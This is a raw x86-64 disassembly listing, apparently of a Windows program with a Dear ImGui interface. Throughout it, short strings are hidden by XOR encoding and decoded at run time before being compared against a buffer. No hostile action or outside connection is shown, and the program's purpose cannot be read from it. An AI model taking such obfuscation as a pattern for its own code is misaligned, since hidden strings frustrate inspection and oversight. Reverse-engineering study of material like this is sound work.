mov qword [rbp + 0x290], r13
mov qword [rbp + 0x298], r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140080670
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x280]
call fcn.140035750
mov eax, dword [0x1400b0d80]
xorps xmm0, xmm0
mov dword [rbp - 0x50], eax
mov r8, 0xffffffffffffffff
movzx eax, byte [0x1400b0d84]
xor byte [rbp - 0x4f], 0x34
xor byte [rbp - 0x4e], 0x35
xor byte [rbp - 0x4d], 0x36
xor al, 0x37
mov byte [rbp - 0x50], 0x54
mov byte [rbp - 0x4c], al
lea rax, [rbp - 0x50]
movups xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2b0], r13
mov qword [rbp + 0x2b8], r13
inc r8
cmp byte [rax + r8], 0
jne 0x1400806d2
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x2a0]
call fcn.140035750
cmp byte [0x1400b0d8b], 0
mov eax, dword [0x1400b0d88]
mov dword [rbp + 0x6a0], eax
je 0x1400807b3
mov r8d, r13d
cmp r15d, 2
jl 0x140080775
movdqa xmm1, xmm11
movdqa xmm0, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm10
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm15
xorps xmm1, xmm0
movd dword [rbp + 0x6a0], xmm1
jmp 0x1400807b3
lea r9, [rbp + 0x6a0]
nop dword [rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140080780
xorps xmm0, xmm0
mov qword [rbp + 0x2d0], r13
movups xmmword [rbp + 0x2c0], xmm0
mov qword [rbp + 0x2d8], r13
lea rax, [rbp + 0x6a0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400807e0
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0x2c0]
call fcn.140035750
mov eax, dword [0x1400b0d8c]
xorps xmm0, xmm0
movzx ecx, word [0x1400b0d90]
mov r8, 0xffffffffffffffff
mov dword [rbp], eax
movzx eax, byte [0x1400b0d92]
xor byte [rbp + 1], 0x34
xor byte [rbp + 2], 0x35
xor byte [rbp + 3], 0x36
mov word [rbp + 4], cx
xor cl, 0x37
xor byte [rbp + 5], 0x38
xor al, 0x39
mov byte [rbp], 0x50
mov byte [rbp + 6], al
lea rax, [rbp]
mov byte [rbp + 4], cl
movups xmmword [rbp + 0x2e0], xmm0
mov qword [rbp + 0x2f0], r13
mov qword [rbp + 0x2f8], r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140080860
lea rdx, [rbp]
lea rcx, [rbp + 0x2e0]
call fcn.140035750
mov eax, dword [0x1400b0d94]
xorps xmm0, xmm0
mov dword [rbp - 0x48], eax
mov r8, 0xffffffffffffffff
movzx eax, byte [0x1400b0d98]
xor byte [rbp - 0x47], 0x34
xor byte [rbp - 0x46], 0x35
xor byte [rbp - 0x45], 0x36
xor al, 0x37
mov byte [rbp - 0x48], 0x50
mov byte [rbp - 0x44], al
lea rax, [rbp - 0x48]
movups xmmword [rbp + 0x300], xmm0
mov qword [rbp + 0x310], r13
mov qword [rbp + 0x318], r13
inc r8
cmp byte [rax + r8], 0
jne 0x1400808c2
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x300]
call fcn.140035750
mov eax, dword [0x1400b0d9c]
xorps xmm0, xmm0
movzx ecx, word [0x1400b0da0]
mov r8, 0xffffffffffffffff
mov dword [rbp + 8], eax
movzx eax, byte [0x1400b0da2]
xor byte [rbp + 9], 0x34
xor byte [rbp + 0xa], 0x35
xor byte [rbp + 0xb], 0x36
mov word [rbp + 0xc], cx
xor cl, 0x37
xor byte [rbp + 0xd], 0x38
xor al, 0x39
mov byte [rbp + 8], 0x4f
mov byte [rbp + 0xe], al
lea rax, [rbp + 8]
mov byte [rbp + 0xc], cl
movups xmmword [rbp + 0x320], xmm0
mov qword [rbp + 0x330], r13
mov qword [rbp + 0x338], r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140080940
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x320]
call fcn.140035750
mov eax, dword [0x1400b0da4]
xorps xmm0, xmm0
mov dword [rbp - 0x60], eax
mov r8, 0xffffffffffffffff
movzx eax, word [0x1400b0da8]
xor byte [rbp - 0x5f], 0x34
xor byte [rbp - 0x5e], 0x35
xor byte [rbp - 0x5d], 0x36
mov word [rbp - 0x5c], ax
xor al, 0x37
xor byte [rbp - 0x5b], 0x38
mov byte [rbp - 0x5c], al
lea rax, [rbp - 0x60]
mov byte [rbp - 0x60], 0x47
movups xmmword [rbp + 0x340], xmm0
mov qword [rbp + 0x350], r13
mov qword [rbp + 0x358], r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400809b0
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x340]
call fcn.140035750
mov eax, dword [0x1400b0dac]
xorps xmm0, xmm0
mov dword [rbp - 0x40], eax
mov r8, 0xffffffffffffffff
movzx eax, byte [0x1400b0db0]
xor byte [rbp - 0x3f], 0x34
xor byte [rbp - 0x3e], 0x35
xor byte [rbp - 0x3d], 0x36
xor al, 0x37
mov byte [rbp - 0x40], 0x42
mov byte [rbp - 0x3c], al
lea rax, [rbp - 0x40]
movups xmmword [rbp + 0x360], xmm0
mov qword [rbp + 0x370], r13
mov qword [rbp + 0x378], r13
inc r8
cmp byte [rax + r8], 0
jne 0x140080a12
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x360]
call fcn.140035750
xorps xmm0, xmm0
mov qword [rbp + 0x780], r13
mov ecx, 0x100
movdqu xmmword [rbp + 0x770], xmm0
call fcn.140037c80
mov rbx, rax
mov qword [rbp + 0x770], rax
mov qword [rbp + 0x778], rax
lea rdi, [rbp + 0x280]
lea rcx, [rax + 0x100]
mov qword [rbp + 0x780], rcx
nop
mov rdx, rdi
mov rcx, rbx
call fcn.140031aa0
lea rax, [rbp + 0x380]
add rbx, 0x20
add rdi, 0x20
cmp rdi, rax
jne 0x140080a70
lea r8, [rbp + 0x770]
mov rdx, rbx
mov rcx, rbx
call fcn.140035a30
lea r9, [fcn.1400319c0]
mov qword [rbp + 0x778], rbx
mov edx, 0x20
lea rcx, [rbp + 0x280]
mov r8d, 8
call fcn.140099910
mov eax, dword [str.gQTZ7]
xorps xmm0, xmm0
mov dword [rbp - 0x38], eax
mov r8, 0xffffffffffffffff
movzx eax, byte [0x1400b0db8]
xor byte [rbp - 0x37], 0x34
xor byte [rbp - 0x36], 0x35
xor byte [rbp - 0x35], 0x36
xor al, 0x37
mov byte [rbp - 0x38], 0x54
mov byte [rbp - 0x34], al
lea rax, [rbp - 0x38]
movups xmmword [rbp + 0x7e8], xmm0
mov qword [rbp + 0x410], r13
movups xmmword [rbp + 0x400], xmm0
mov qword [rbp + 0x418], r13
inc r8
cmp byte [rax + r8], 0
jne 0x140080b15
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x400]
call fcn.140035750
cmp byte [0x1400b0dbf], 0
lea rax, [0x14005dea0]
mov qword [rbp + 0x428], rax
lea rbx, vtable.std::_Func_impl_no_alloc_void____cdecl___struct_ImGuiStyle____ptr64___void__struct_ImGuiStyle____ptr64_.0
lea rax, [rbp + 0x420]
mov qword [rbp + 0x420], rbx
mov qword [rbp + 0x458], rax
mov eax, dword [str.aQQ6cAGF__9]
mov dword [rbp + 0x6a0], eax
je 0x140080c23
mov r8d, r13d
cmp r15d, 2
jl 0x140080be2
movdqa xmm1, xmm11
movdqa xmm0, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm10
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm15
xorps xmm1, xmm0
movd dword [rbp + 0x6a0], xmm1
jmp 0x140080c23
lea r9, [rbp + 0x6a0]
nop dword [rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140080bf0
xorps xmm0, xmm0
mov qword [rbp + 0x470], r13
movups xmmword [rbp + 0x460], xmm0
mov qword [rbp + 0x478], r13
lea rax, [rbp + 0x6a0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140080c50
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0x460]
call fcn.140035750
movzx ecx, word [0x1400b0dc4]
lea rax, [0x14005d940]
mov qword [rbp + 0x488], rax
xorps xmm0, xmm0
lea rax, [rbp + 0x480]
mov word [rbp + 0x14], cx
xor byte [rbp + 0x15], 0x38
xor cl, 0x37
mov qword [rbp + 0x4b8], rax
mov r8, 0xffffffffffffffff
mov eax, dword [0x1400b0dc0]
mov dword [rbp + 0x10], eax
movzx eax, byte [0x1400b0dc6]
xor byte [rbp + 0x11], 0x34
xor byte [rbp + 0x12], 0x35
xor byte [rbp + 0x13], 0x36
xor al, 0x39
mov qword [rbp + 0x480], rbx
mov byte [rbp + 0x16], al
lea rax, [rbp + 0x10]
mov byte [rbp + 0x10], 0x50
mov byte [rbp + 0x14], cl
movups xmmword [rbp + 0x4c0], xmm0
mov qword [rbp + 0x4d0], r13
mov qword [rbp + 0x4d8], r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140080cf0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x4c0]
call fcn.140035750
lea rax, [0x14005d3e0]
mov qword [rbp + 0x4e0], rbx
mov qword [rbp + 0x4e8], rax
xorps xmm0, xmm0
lea rax, [rbp + 0x4e0]
mov qword [rbp + 0x530], r13
mov qword [rbp + 0x518], rax
mov r8, 0xffffffffffffffff
mov eax, dword [str.c___7]
mov dword [rbp - 0x30], eax
movzx eax, byte [0x1400b0dcc]
xor byte [rbp - 0x2f], 0x34
xor byte [rbp - 0x2e], 0x35
xor byte [rbp - 0x2d], 0x36
xor al, 0x37
mov byte [rbp - 0x30], 0x50
mov byte [rbp - 0x2c], al
lea rax, [rbp - 0x30]
movups xmmword [rbp + 0x520], xmm0
mov qword [rbp + 0x538], r13
inc r8
cmp byte [rax + r8], 0
jne 0x140080d75
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x520]
call fcn.140035750
movzx ecx, word [0x1400b0dd4]
lea rax, [0x14005ce80]
mov qword [rbp + 0x548], rax
xorps xmm0, xmm0
lea rax, [rbp + 0x540]
mov word [rbp + 0x1c], cx
xor byte [rbp + 0x1d], 0x38
xor cl, 0x37
mov qword [rbp + 0x578], rax
mov r8, 0xffffffffffffffff
mov eax, dword [str.FTXP_9]
mov dword [rbp + 0x18], eax
movzx eax, byte [0x1400b0dd6]
xor byte [rbp + 0x19], 0x34
xor byte [rbp + 0x1a], 0x35
xor byte [rbp + 0x1b], 0x36
xor al, 0x39
mov qword [rbp + 0x540], rbx
mov byte [rbp + 0x1e], al
lea rax, [rbp + 0x18]
mov byte [rbp + 0x18], 0x4f
mov byte [rbp + 0x1c], cl
movups xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x590], r13
mov qword [rbp + 0x598], r13
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140080e10
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x580]
call fcn.140035750
lea rax, [0x14005c910]
mov qword [rbp + 0x5a0], rbx
mov qword [rbp + 0x5a8], rax
xorps xmm0, xmm0
lea rax, [rbp + 0x5a0]
mov qword [rbp + 0x5f0], r13
mov qword [rbp + 0x5d8], rax
mov r8, 0xffffffffffffffff
mov eax, dword [str.tFPSY8]
mov dword [rbp - 0x58], eax
movzx eax, word [0x1400b0ddc]
xor byte [rbp - 0x57], 0x34
xor byte [rbp - 0x56], 0x35
xor byte [rbp - 0x55], 0x36
mov word [rbp - 0x54], ax
xor al, 0x37
xor byte [rbp - 0x53], 0x38
mov byte [rbp - 0x54], al
lea rax, [rbp - 0x58]
mov byte [rbp - 0x58], 0x47
movups xmmword [rbp + 0x5e0], xmm0
mov qword [rbp + 0x5f8], r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140080ea0
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x5e0]
call fcn.140035750
lea rax, [0x14005c3b0]
mov qword [rbp + 0x600], rbx
mov qword [rbp + 0x608], rax
xorps xmm0, xmm0
lea rax, [rbp + 0x600]
mov qword [rbp + 0x650], r13
mov qword [rbp + 0x638], rax
mov r8, 0xffffffffffffffff
mov eax, dword [str.qX_S7]
mov dword [rbp - 0x28], eax
movzx eax, byte [0x1400b0de4]
xor byte [rbp - 0x27], 0x34
xor byte [rbp - 0x26], 0x35
xor byte [rbp - 0x25], 0x36
xor al, 0x37
mov byte [rbp - 0x28], 0x42
mov byte [rbp - 0x24], al
lea rax, [rbp - 0x28]
movups xmmword [rbp + 0x640], xmm0
mov qword [rbp + 0x658], r13
inc r8
cmp byte [rax + r8], 0
jne 0x140080f25
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x640]
call fcn.140035750
lea rax, [0x14005b900]
mov qword [rbp + 0x660], rbx
mov qword [rbp + 0x668], rax
mov ecx, 0x80
lea rax, [rbp + 0x660]
mov qword [rbp + 0x7e8], r13
mov qword [rbp + 0x698], rax
mov qword [rbp + 0x7f0], r13
call fcn.140099da0
mov r15, rax
lea rsi, [rbp + 0x400]
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x7e8], rax
nop dword [rax]
mov r9, rsi
lea rdx, [rbp + 0x6a0]
mov r8, r15
lea rcx, [rbp + 0x7e8]
call fcn.140079a10
movsd xmm0, qword [rax + 0x10]
movups xmm6, xmmword [rax]
movsd qword [rbp - 0x80], xmm0
cmp byte [rbp - 0x80], 0
jne 0x14008104b
movabs rax, 0x1ffffffffffffff
cmp qword [rbp + 0x7f0], rax
je 0x140084e6a
mov r14, qword [rbp + 0x7e8]
mov ecx, 0x80
call fcn.140099da0
mov rdx, rsi
mov rdi, rax
lea rcx, [rax + 0x20]
call fcn.140031aa0
mov qword [rdi + 0x78], r13
mov rcx, qword [rsi + 0x58]
test rcx, rcx
je 0x140081021
mov rdx, qword [rcx]
mov r8, qword [rdx]
lea rdx, [rdi + 0x40]
call r8
mov qword [rdi + 0x78], rax
mov qword [rdi], r14
lea rdx, [rsp + 0x70]
mov qword [rdi + 8], r14
lea rcx, [rbp + 0x7e8]
mov qword [rdi + 0x10], r14
mov r8, rdi
mov word [rdi + 0x18], 0
movaps xmmword [rsp + 0x70], xmm6
call fcn.140037fc0
add rsi, 0x60
lea rax, [rbp + 0x6a0]
cmp rsi, rax
jne 0x140080fa0
lea r9, [fcn.14007a560]
mov edx, 0x60
mov r8d, 7
lea rcx, [rbp + 0x400]
call fcn.140099910
mov rax, qword [rbp + 0x778]
mov r14, qword [rbp + 0x770]
mov qword [rsp + 0x70], rax
cmp r14, rax
je 0x14008140e
mov rbx, qword [str.WQSWBTM:]
mov r12, qword [r14 + 0x18]
mov r9, r14
mov r15, qword [r14 + 0x10]
cmp r12, 0xf
jbe 0x1400810b4
mov r9, qword [r14]
cmp qword [0x140238428], 0xf
lea rcx, [0x140238410]
mov rdx, qword [0x140238420]
cmova rcx, qword [0x140238410]
xor r8d, r8d
mov qword [rsp + 0x20], r15
call fcn.1400353a0
cmp rax, 0xffffffffffffffff
je 0x1400813ff
mov rsi, qword [rbp + 0x7e8]
mov r13, rsi
mov rdi, qword [rsi + 8]
cmp byte [rdi + 0x19], 0
jne 0x14008114d
nop dword [rax]
lea rcx, [rdi + 0x20]
mov rdx, r14
cmp r12, 0xf
jbe 0x140081110
mov rdx, qword [r14]
cmp qword [rcx + 0x18], 0xf
mov rsi, qword [rcx + 0x10]
jbe 0x14008111e
mov rcx, qword [rcx]
cmp r15, rsi
mov r8, rsi
cmovb r8, r15
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400811b6
cmp rsi, r15
jb 0x1400811b8
mov r13, rdi
mov rdi, qword [rdi]
cmp byte [rdi + 0x19], 0
je 0x140081100
mov rsi, qword [rbp + 0x7e8]
cmp byte [r13 + 0x19], 0
jne 0x14008116b
lea r8, [r13 + 0x20]
mov rdx, r14
lea rcx, [rbp + 0x7e8]
call fcn.14007ae20
test al, al
je 0x14008116e
mov r13, rsi
cmp r13, rsi
je 0x140081259
mov r8, r14
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0x7e8]
call fcn.140079d60
mov rbx, qword [rbp + 0x6b0]
cmp byte [rbx + 0x19], 0
jne 0x1400811be
lea r8, [rbx + 0x20]
mov rdx, r14
lea rcx, [rbp + 0x7e8]
call fcn.14007ae20
test al, al
jne 0x1400811be
xor r13d, r13d
jmp 0x140081233
jns 0x14008113a
mov rdi, qword [rdi + 0x10]
jmp 0x140081140
movabs rax, 0x1ffffffffffffff
cmp qword [rbp + 0x7f0], rax
je 0x140084e76
mov rdi, qword [rbp + 0x7e8]
mov ecx, 0x80
call fcn.140099da0
mov rdx, r14
mov rsi, rax
lea rcx, [rax + 0x20]
call fcn.140031aa0
movups xmm0, xmmword [rbp + 0x6a0]
xor r13d, r13d
lea rdx, [rbp + 0x6a0]
mov qword [rsi + 0x78], r13
lea rcx, [rbp + 0x7e8]
mov qword [rsi], rdi
mov r8, rsi
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rdi
mov word [rsi + 0x18], r13w
movaps xmmword [rbp + 0x6a0], xmm0
call fcn.140037fc0
mov rbx, rax
mov rcx, qword [rbx + 0x78]
mov qword [rbp + 0x6a0], r13
test rcx, rcx
je 0x140084e70
mov rax, qword [rcx]
lea rdx, [rbp + 0x6a0]
call qword [rax + 0x10]
jmp 0x1400813f8
xor r13d, r13d
mov qword [rbp + 0x6a0], rbx
cmp byte [0x1400b0def], r13b
je 0x1400813a3
cmp dword [0x140238558], 2
mov r8d, r13d
jl 0x14008135f
movd eax, xmm15
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
movdqa xmm2, xmm11
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x6a0]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm14
xorps xmm2, xmm1
punpckhdq xmm0, xmm14
movd dword [rbp + 0x6a0], xmm2
movdqa xmm1, xmm14
pmuldq xmm0, xmm10
movdqa xmm2, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x6a4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x6a4], xmm2
jmp 0x1400813a3
lea r9, [rbp + 0x6a0]
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140081370
lea rcx, [rbp + 0x6a0]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x1400813b1
cmp qword [0x140238428], 0xf
lea rcx, [0x140238410]
mov rdx, qword [0x140238420]
lea r9, [rbp + 0x6a0]
cmova rcx, qword [0x140238410]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call fcn.1400353a0
test rax, rax
je 0x1400813ff
xor ecx, ecx
call fcn.14005be60
mov rbx, qword [str.WQSWBTM:]
add r14, 0x20
cmp r14, qword [rsp + 0x70]
jne 0x1400810a0
mov rcx, qword [rbp + 0x7e8]
mov byte [0x140239361], 1
mov rdi, qword [rcx + 8]
cmp byte [rdi + 0x19], 0
jne 0x140081470
nop word [rax + rax]
mov r8, qword [rdi + 0x10]
lea rdx, [rbp + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.1400799b0
mov rbx, rdi
mov rdi, qword [rdi]
lea rcx, [rbx + 0x20]
call fcn.14007a560
mov edx, 0x80
mov rcx, rbx
call fcn.1400999e0
cmp byte [rdi + 0x19], 0
je 0x140081430
mov rcx, qword [rbp + 0x7e8]
mov edx, 0x80
call fcn.1400999e0
mov rcx, qword [rbp + 0x770]
test rcx, rcx
je 0x1400814d8
mov rdx, qword [rbp + 0x778]
lea r8, [rbp + 0x770]
call fcn.140035a30
mov rcx, qword [rbp + 0x770]
mov rdx, qword [rbp + 0x780]
mov rax, rcx
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x1400814d3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140084d29
call fcn.1400999e0
mov r14, qword [rbp + 0x130]
mov r15d, dword [0x140238558]
mov rbx, qword [rbp + 0x798]
lea rcx, [rbp + 0x138]
mov dword [rbp + 0x138], 0x42480000
mov dword [rbp + 0x13c], 0x42480000
call fcn.14004eaa0
mov rcx, qword [0x140239380]
lea rax, [rsp + 0x70]
xorps xmm0, xmm0
mov qword [rsp + 0x28], rax
movups xmmword [rsp + 0x70], xmm0
lea rax, [rbp + 0x798]
mov dword [rbp + 0x140], 0x3f800000
movdqa xmm0, xmmword [0x1400a2990]
lea r9, [rbp + 0x140]
lea r8, [rbp + 0x148]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x150]
mov dword [rbp + 0x144], 0x3f800000
movups xmmword [rbp + 0x798], xmm0
mov qword [rbp + 0x148], 0
mov dword [rbp + 0x150], 0x43960000
mov dword [rbp + 0x154], 0x43290000
call fcn.14006ba80
movdqa xmm0, xmmword [0x1400a7d60]
lea rcx, [rsp + 0x70]
movups xmmword [rsp + 0x70], xmm0
call fcn.14003fa90
movss xmm3, dword [0x140239378]
lea r8, [rbp + 0x158]
movss xmm2, dword [0x14023937c]
lea rdx, [rbp + 0x160]
mov rcx, qword [0x140239370]
movaps xmm0, xmm3
addss xmm0, dword [0x1400b1094]
addss xmm3, dword [0x1400a2a08]
movaps xmm1, xmm2
xorps xmm6, xmm6
addss xmm1, dword [0x1400b107c]
addss xmm2, dword [0x1400a2a08]
movss dword [rbp + 0x158], xmm0
mov r9d, eax
movss xmm0, dword [0x1400a28e8]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r13d
movss dword [rsp + 0x20], xmm6
movss dword [rbp + 0x15c], xmm1
movss dword [rbp + 0x160], xmm3
movss dword [rbp + 0x164], xmm2
call fcn.140056d40
lea rcx, [rbp + 0x168]
mov dword [rbp + 0x168], 0x42480000
mov dword [rbp + 0x16c], 0x43910000
call fcn.14004eaa0
mov eax, dword [0x140239390]
test eax, eax
jne 0x1400816ce
movzx ecx, word [0x1400b0df4]
lea rdx, [rbp + 0x170]
mov eax, dword [0x1400b0df0]
mov dword [rbp + 0x78], eax
movzx eax, byte [0x1400b0df6]
xor byte [rbp + 0x79], 0x34
xor al, 0x39
xor byte [rbp + 0x7a], 0x35
xor byte [rbp + 0x7b], 0x36
mov word [rbp + 0x7c], cx
xor cl, 0x37
xor byte [rbp + 0x7d], 0x38
mov byte [rbp + 0x7c], cl
lea rcx, [rbp + 0x78]
mov dword [rbp + 0x170], 0x43960000
mov dword [rbp + 0x174], 0x420c0000
mov byte [rbp + 0x78], 0x4c
mov byte [rbp + 0x7e], al
call fcn.14006a4f0
test al, al
mov eax, dword [0x140239390]
je 0x1400816ce
inc eax
mov dword [0x140239390], eax
cmp byte [0x14023845a], 0
movss xmm2, dword [rbx + 0x18]
mulss xmm2, dword [0x1400a28ac]
je 0x1400816e9
xorps xmm1, xmm1
jmp 0x1400816ed
movaps xmm1, xmm8
subss xmm1, dword [0x140239418]
mulss xmm1, xmm2
addss xmm1, dword [0x140239418]
movss dword [0x140239418], xmm1
test eax, eax
je 0x14008476c
call fcn.140042d80
movss xmm1, dword [0x14023941c]
movss xmm0, dword [rax + 0x10]
mulss xmm0, dword [0x1400a28ec]
addss xmm1, xmm0
comiss xmm1, dword [0x1400a28ac]
movss dword [0x14023941c], xmm1
jbe 0x14008174e
mov byte [0x14023845a], 0
mov byte [0x140238459], 0
movss xmm0, dword [0x140239418]
comiss xmm0, dword [0x1400a291c]
jbe 0x14008176a
mov eax, r13d
mov dword [0x140239394], eax
jmp 0x140081770
mov eax, dword [0x140239394]
comiss xmm0, dword [0x1400a2a10]
mov esi, 1
jbe 0x140081786
mov eax, esi
mov dword [0x140239394], eax
comiss xmm0, dword [0x1400b1088]
jbe 0x14008179e
mov dword [0x140239394], 2
jmp 0x140081f2c
test eax, eax
jne 0x140081b55
movzx eax, byte [0x1400b0e40]
mov r8d, r13d
mov byte [rbp + 0xc8], al
movups xmm0, xmmword [str.pPUQW_eoDMK__b]
movups xmm1, xmmword [0x1400b0e30]
movups xmmword [rbp + 0xa8], xmm0
movups xmmword [rbp + 0xb8], xmm1
cmp r15d, 2
jl 0x140081906
movdqa xmmword [rsp + 0x70], xmm15
lea rcx, [rbp + 0xac]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x20
jl 0x1400817f0
cmp r8d, 0x21
jl 0x140081906
movss xmm6, dword [0x1400a28dc]
mov ecx, esi
movaps xmm1, xmm6
call fcn.1400429e0
movzx ecx, byte [0x1400b0e18]
mov ebx, eax
mov byte [rbp + 0x7d8], cl
jmp 0x140081972
movsxd rax, r8d
lea r9, [rbp + 0xa8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x140081920
movss xmm6, dword [0x1400a28dc]
mov ecx, esi
movaps xmm1, xmm6
call fcn.1400429e0
mov ebx, eax
movzx eax, byte [0x1400b0e18]
mov byte [rbp + 0x7d8], al
mov r8d, r13d
movups xmm1, xmmword [0x1400b0e08]
movups xmm0, xmmword [0x1400b0df8]
movups xmmword [rbp + 0x7c8], xmm1
movups xmmword [rbp + 0x7b8], xmm0
cmp r15d, 2
jl 0x140081aa3
movdqa xmmword [rsp + 0x70], xmm15
lea rcx, [rbp + 0x7bc]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
